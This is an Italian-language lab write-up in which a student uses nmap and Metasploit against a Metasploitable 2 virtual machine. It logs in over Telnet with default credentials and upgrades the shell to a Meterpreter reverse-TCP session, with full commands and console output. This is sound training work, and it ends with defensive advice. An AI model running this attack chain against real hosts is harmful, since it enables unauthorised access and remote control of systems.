

Esercizio

S_L2_msfconsole_x_Telnet

Consegna

Fase 1 Scansione del Servizio Telnet

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica.

Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

Fase 2 Autenticazione e Creazione della Sessione

L'obiettivo è ottenere l'accesso a Metasploitable 2 sfruttando le sue credenziali predefinite.

Utilizza il modulo auxiliary/scanner/telnet/telnet_login e imposta i seguenti parametri:

- Il target RHOSTS.
- Le credenziali note USERNAME e PASSWORD.
- L'opzione STOP_ON_SUCCESS su true.

Una volta eseguito con successo, il modulo stabilirà una sessione di comando.

Fase 3 Gestione delle Sessioni

Verifica le sessioni attive tramite il comando sessions -l. Per interagire con la sessione appena creata, digita sessions -i ID_sessione>.

Fase 4 Upgrade della Sessione a Meterpreter

Metti in background la sessione attiva usando la combinazione di tasti Ctrl+Z e confermando con y alla richiesta.

Successivamente, utilizza il modulo post/multi/manage/shell_to_meterpreter per eseguire l'upgrade della sessione a Meterpreter.

Controlla le opzioni con il comando show options ed effettua tutte le configurazioni necessarie per completare l'operazione.

SVOLGIMENTO

Setup Ambiente

Per prima cosa, come da consegna, è stato necessario configurare correttamente gli indirizzi IP delle due macchine.

Ho dunque iniziato con la Metasploitable2 modificando il file di configurazione di rete tramite il comando `nano /etc/network/interfaces` ed attribuendo alla macchina target l'IP 192.168.1.40.

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.40
netmask 255.255.255.0
gateway 192.168.1.1
```

Ho successivamente riavviato la macchina affinché le modifiche venissero caricate correttamente.

Mi sono poi spostato sulla Kali ed anche lì, tramite GUI, ho settato il nuovo indirizzo IP 192.18.1.25.

Addresses		
Address	Netmask	Gateway
192.168.1.25	24	192.168.1.1

Ho infine messo entrambe le macchine sulla stessa rete interna "prova1".

Enumeration

Al fine di avere sott'occhio, per qualunque evenienza, qualche informazione sulla macchina target ho avviato una scansione sulla Metasploitable tramite nmap così da avere una panoramica dei servizi e la loro versione:

`nmap -sV -O 192.168.1.40`

```
(kali@kali) [~]  
$ nmap -sV -O 192.168.1.40  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 08:30:00 CEST  
mass_dns: warning: Unable to determine any DNS servers. F  
ers  
Nmap scan report for 192.168.1.40  
Host is up (0.00034s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1  
2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd
```

Recupero Banner Telnet

Ho dunque cominciato la fase di exploiting che consisteva nel cercare di recuperare il banner del servizio telnet presente sulla macchina target sperando di ottenere delle credenziali per il login remoto.

Per fare ciò ho avviato `msfconsole` ed ho cercato l'exploit indicato all'interno della consegna ed una volta assicuratomi della sua presenza l'ho selezionato utilizzando il comando `use 1`.

```
msf6 > search type:auxiliary telnet_version  
Matching Modules  
=====
```

#	Name	Disclosure Date
0	auxiliary/scanner/telnet/lantronix_telnet_version	.
normal	No	Lantronix Telnet Service Banner Detection
1	auxiliary/scanner/telnet/telnet_version	.
normal	No	Telnet Service Banner Detection

Interact with a module by name or index. For example `info 1`, `use 1` or `use auxiliary/scanner/telnet/telnet_version`

Una volta scelto l'auxiliary, è stato necessario configurarlo secondo le `OPTIONS` richieste.

Logging through msfconsole

Ora che abbiamo la prova della validità delle credenziali recuperate possiamo procedere a creare una sessione di login tramite msfconsole.

Per fare ciò è necessario cercare e selezionare il seguente auxiliary:

`search auxiliary/scanner/telnet/telnet_login`

```
msf6 > search auxiliary/scanner/telnet/telnet_login

Matching Modules
=====
#  Name
Disclosure Date  Rank    Check   Description
-  -
0  auxiliary/admin/http/netgear_pnp_x_getsharefolderlist_auth_bypass
2021-09-06      normal  Yes     Netgear PNPX_GetShareFolderList Authentication Bypass
1  auxiliary/scanner/telnet/telnet_login
.              normal  No      Telnet Login Check Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_login

msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_login) >
```

Osservando poi `show OPTIONS` notiamo che è necessario settare alcuni parametri: `USERNAME`, `PASSWORD`, `RHOSTS` e `STOP_ON_SUCCESS` (quest'ultimo necessario per interrompere ogni continuo tentativo di login una volta avuto riscontro positivo con un paio di credenziali).

```
msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/telnet/telnet_login) >
```

Lanciando poi l'exploit riceviamo un messaggio di esito positivo; possiamo ritrovare la sessione instaurata da msfconsole verso la METASPLOITABLE2 semplicemente elencando la lista di sessioni attive: `sessions -l`.

```

msf6 auxiliary(scanner/telnet/telnet_login) > exploit
[!] 192.168.1.40:23 - No active DB -- Credential data will not be
saved!
[+] 192.168.1.40:23 - 192.168.1.40:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.40:23 - Attempting to start session 192.168.1.40:23
with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.25:44723 → 192.168.1.40:
23) at 2025-08-26 09:01:13 -0400
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
=====

```

Id	Name	Type	Information	Connection
1		shell	TELNET msfadmin:msfadmin (192.168.1.40:23)	192.168.1.25:44723 → 192.168.1.40:23 (192.168.1.40)

Upgrading Shell Meterpreter

A questo punto per portare a termine l'ultimo obiettivo richiesto dalla consegna, è stato sufficiente ricercare il post exploit "shell_to_meterpreter" e selezionarlo tramite `use 0`.

```

msf6 auxiliary(scanner/telnet/telnet_login) > search post/multi/manage/
shell_to_meterpreter

Matching Modules
=====

```

#	Name	Disclosure Date	Rank
0	post/multi/manage/shell_to_meterpreter	.	normal

```

No Shell to Meterpreter Upgrade

Interact with a module by name or index. For example info 0, use 0 or u
se post/multi/manage/shell_to_meterpreter

msf6 auxiliary(scanner/telnet/telnet_login) > use 0

```

Osservandone le `OPTIONS` è parso chiara la necessità di settare `LHOST` e la relativa `SESSION` su cui effettuare l'upgrade della shell.

```
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):



| Name    | Current Setting | Required | Description                                                                             |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------|
| HANDLER | true            | yes      | Start an exploit/multi/handler to receive the connection                                |
| LHOST   |                 | no       | IP of host that will receive the connection from the payload (Will try to auto detect). |
| LPORT   | 4433            | yes      | Port for payload to connect to                                                          |
| SESSION |                 | yes      | The session to run this module on                                                       |



View the full module info with the info, or info -d command.

msf6 post(multi/manage/shell_to_meterpreter) > set SESSIONS 1
[!] Unknown datastore option: SESSIONS. Did you mean SESSION?
SESSIONS => 1
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.1.25
LHOST => 192.168.1.25
```

Una volta avviato l'exploit ci verrò presentata una shell meterpreter funzionante:

```
msf6 post(multi/manage/shell_to_meterpreter) > exploit
[!] SESSION may not be compatible with this module:
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.25:4433
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 2 opened (192.168.1.25:4433 → 192.168.1.40:4148) at 2025-08-26 09:06:37 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions



| Id | Name | Type                  | Information                                | Connection                                           |
|----|------|-----------------------|--------------------------------------------|------------------------------------------------------|
| 1  |      | shell                 | TELNET msfadmin:msfadmin (192.168.1.40:23) | 192.168.1.25:44723 → 192.168.1.40:23                 |
| 2  |      | meterpreter x86/linux | msfadmin @ metasploitable.localdomain      | 192.168.1.25:4433 → 192.168.1.40:4148 (192.168.1.40) |



msf6 post(multi/manage/shell_to_meterpreter) > sessions 2
[*] Starting interaction with 2 ...

meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > pwd
/home/msfadmin
```

Conclusioni

L'esercizio ha mostrato come un servizio semplice e ormai obsoleto come Telnet possa rappresentare un punto d'ingresso estremamente debole in un sistema non aggiornato. Attraverso l'uso combinato di Nmap e Metasploit, è stato possibile:

- Identificare la presenza del servizio e raccogliere informazioni dal banner.
- Sfruttare le **credenziali di default** della macchina target per autenticarsi.
- Ottenere una sessione remota gestita direttamente in Metasploit.
- Effettuare un **upgrade a Meterpreter**, dimostrando come un accesso di base possa essere trasformato in un controllo molto più potente della macchina compromessa.

In sintesi, questo laboratorio evidenzia l'importanza di **disabilitare servizi insicuri** e di **evitare l'uso di credenziali deboli o predefinite**, che rendono banale il lavoro di un attaccante o di un penetration tester.